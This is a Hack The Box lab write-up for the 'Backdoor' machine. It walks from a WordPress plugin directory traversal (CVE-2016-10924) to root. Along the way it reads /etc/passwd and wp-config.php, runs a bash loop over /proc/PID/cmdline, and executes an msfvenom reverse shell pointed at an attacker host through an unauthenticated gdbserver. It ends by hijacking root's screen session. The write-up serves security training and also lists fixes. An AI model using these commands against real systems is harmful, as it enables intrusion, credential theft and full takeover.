- OS: Linux (Ubuntu 20.04)
- Domain / vhosts:
backdoor.htb
Summary
Backdoor is a Linux Easy whose most distinctive technique is using an LFI
vulnerability to enumerate /proc/PID/cmdline — reading every process’s
command line to discover what services are running without any direct shell
access. A WordPress plugin (ebook-download 1.1, CVE-2016-10924) provides the
directory traversal primitive. The /proc crawl reveals two critical
processes: a persistent gdbserver loop on port 1337 (already visible in the
nmap scan but unidentified), and a root-maintained screen session. GDB
remote execution delivers an initial shell as user, and attaching to root’s
shared screen session completes the escalation.
Kill-chain: nmap finds ports 22, 80, 1337 → WPScan identifies ebook-download
1.1 (CVE-2016-10924) → LFI filedownload.php?ebookdownloadurl=/proc/<PID>/cmdline
iterated over PIDs 1–50000 → PID 851 = gdbserver --once 0.0.0.0:1337,
PID 853 = root screen maintenance loop → msfvenom ELF → gdb target
extended-remote → user shell → root’s ~/.screenrc has multiuser on +
acladd user → screen -x root/root → root.
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.41 (WordPress 5.8.1)
1337/tcp open waste
Port 1337 shows as waste (unrecognised). The service identity will be
determined via LFI on the WordPress installation.
Add backdoor.htb to /etc/hosts.
WordPress enumeration — CVE-2016-10924
wpscan --url http://backdoor.htb --plugins-detection aggressive
Two plugins found:
akismet(known XSS, not exploitable here)ebook-downloadversion 1.1 — CVE-2016-10924 (directory traversal, Exploit-DB 39575)
Directory listing is enabled on /wp-content/plugins/, confirming version 1.1
directly via the plugin directory.
The vulnerable endpoint is /wp-content/plugins/ebook-download/filedownload.php,
which accepts an ebookdownloadurl parameter and serves the file at that path
without sanitisation:
# Confirm LFI
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd"
# Read wp-config.php (database credentials)
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php"
The database password from wp-config.php is noted but not used further —
MySQL is bound to localhost and the DB account does not help with shell access.
/proc enumeration — discovering the gdbserver process
/proc/<PID>/cmdline contains each process’s invocation with null bytes
separating arguments. Reading these via the LFI reveals what every process
is running, including services that are not directly discoverable:
#!/bin/bash
for i in $(seq 1 50000); do
path="/proc/${i}/cmdline"
skip_start=$(( 3 * ${#path} + 1))
res=$(curl -s "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=${path}" | tr '\000' ' ')
output=$(echo "$res" | cut -c ${skip_start}- | rev | cut -c 32- | rev)
[ -n "$output" ] && echo "${i}: ${output}"
done
Key results from the PID sweep:
851: /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
853: /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
- PID 851 confirms port 1337 is
gdbserver, running asuserin a persistentwhile trueloop — it restarts automatically after each connection. - PID 853 reveals root maintains a detached screen session named
rootat all times.
Foothold — gdbserver remote code execution
GDB supports a target extended-remote mode that allows uploading and
executing binaries on the remote system via the GDB remote serial protocol.
Since gdbserver is running without authentication, any GDB client can
connect and load a payload.
Generate a reverse shell ELF:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ATTACKER> LPORT=443 PrependFork=true -f elf -o rev.elf
Upload and execute via GDB:
gdb -q rev.elf
(gdb) target extended-remote <TARGET>:1337
(gdb) remote put rev.elf /dev/shm/rev
(gdb) set remote exec-file /dev/shm/rev
(gdb) run
Or via Metasploit:
use exploit/multi/gdb/gdb_server_exec
set RHOSTS <TARGET>
set RPORT 1337
set LHOST <ATTACKER>
run
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user.txt is at /home/user/user.txt.
Privilege escalation — screen multiuser session hijack
The /proc sweep already revealed that root maintains a persistent screen
session. Inspect the configuration:
cat /root/.screenrc
(Readable once inside the user shell via screen -x, or pre-confirmed from
the PID 853 cmdline.) Root’s ~/.screenrc contains:
multiuser on
acladd user
shell -/bin/bash
multiuser on enables cross-user session sharing. acladd user explicitly
grants the user account permission to attach. The screen binary is SUID,
which allows it to access sessions owned by other users.
List root’s screen sessions:
screen -ls root/
There is a suitable screen on:
<PID>.root (Multi, detached)
Upgrade to a PTY first. screen -x refuses to attach from a raw
nc reverse shell with Must be connected to a terminal. — it
requires a real controlling terminal, not just a stdin/stdout pipe:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Attach to root’s session:
export TERM=screen
screen -x root/root
root@Backdoor:~# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
/proc/PID/cmdlineenumeration via LFI: the Linux/procvirtual filesystem exposes runtime process state, including the full invocation command line, as readable files. Any LFI that allows absolute path traversal can read these files. Iterating PIDs from 1 to the current maximum effectively runsps auxfrom outside the system, bypassing the need for a shell. The technique is O(max_pid) HTTP requests — slow but exhaustive.- gdbserver without authentication: GDB’s remote protocol was designed
for trusted development environments where a developer attaches a debugger
to a remote process. There is no authentication mechanism. Any client that
can reach the port can upload binaries and execute them as the gdbserver
process owner. Exposing gdbserver on
0.0.0.0on any network interface is equivalent to an unauthenticated remote code execution service. while truerestart loop: thegdbserver --onceflag means gdbserver exits after one connection. The wrappingwhile true; do ...; donerestarts it automatically. This means a failed exploitation attempt does not permanently kill the service — the target recovers within seconds.- screen multiuser +
acladd: GNU Screen’s multiuser mode allows multiple users to share a session when the SUID screen binary is involved.acladd userin root’s~/.screenrcis an explicit grant of access to theuseraccount. The administrator who wrote this configuration intended foruserto be able to attach to root’s session — the “backdoor” referenced in the box name.
Counterfactuals
- Upgrade or remove the ebook-download plugin. CVE-2016-10924 has been
patched in version 1.2. Alternatively, disable directory listing on
/wp-content/plugins/to prevent version fingerprinting. - Bind gdbserver to
127.0.0.1only, or remove it entirely from the running system. There is no legitimate reason for a debugging service to listen on a public interface. - Remove
multiuser onandacladd userfrom/root/.screenrc. If screen sharing between accounts is genuinely needed, use a non-root account for the shared session, not root.
Key Takeaways
- LFI +
/proc/PID/cmdline= remote process enumeration: whenever a file read primitive (LFI, SSRF to file://, path traversal) allows absolute paths, iterate/proc/1/cmdlinethrough the max PID. A bash loop withcurlandtr '\000' ' 'handles null-byte separators. The technique reveals all running processes including services not in nmap output (UDP-only, or services that appeared after the initial scan). - Port 1337 = likely gdbserver on CTF boxes: gdbserver on a non-standard
port is a recurring HTB pattern. Even without the LFI, a
gdb target extended-remote <TARGET>:1337attempt is worth trying on any unidentified high port. - GNU Screen
acladdis a privilege escalation primitive:screen -ls root/+screen -x root/rootgives direct access to root’s terminal. Check for multiuser screen sessions withfind /var/run/screen -type sorscreen -lsafter foothold. TERM=screenis required for cross-user screen attach: without settingTERM=screen, the attach fails with a terminal type error. Alwaysexport TERM=screenbeforescreen -x.screen -xneeds a PTY, not just a pipe: from a rawnc -lvnpreverse shell,screen -x root/rootfails withMust be connected to a terminal.even whenacladd usergrants the permission andTERM=screenis set. Upgrade withpython3 -c 'import pty;pty.spawn("/bin/bash")'first; the controlling terminal is what’s missing, not the ACL or the TERM. Same gotcha applies tosudo,passwd,ssh -t, anything else that opens/dev/tty.
References
- 0xdf, “HTB: Backdoor” — https://0xdf.gitlab.io/2022/04/23/htb-backdoor.html
- IppSec, “Backdoor” — https://ippsec.rocks/?#Backdoor
- CVE-2016-10924 / Exploit-DB 39575 (ebook-download 1.1 directory traversal)
- GTFOBins screen — https://gtfobins.github.io/gtfobins/screen/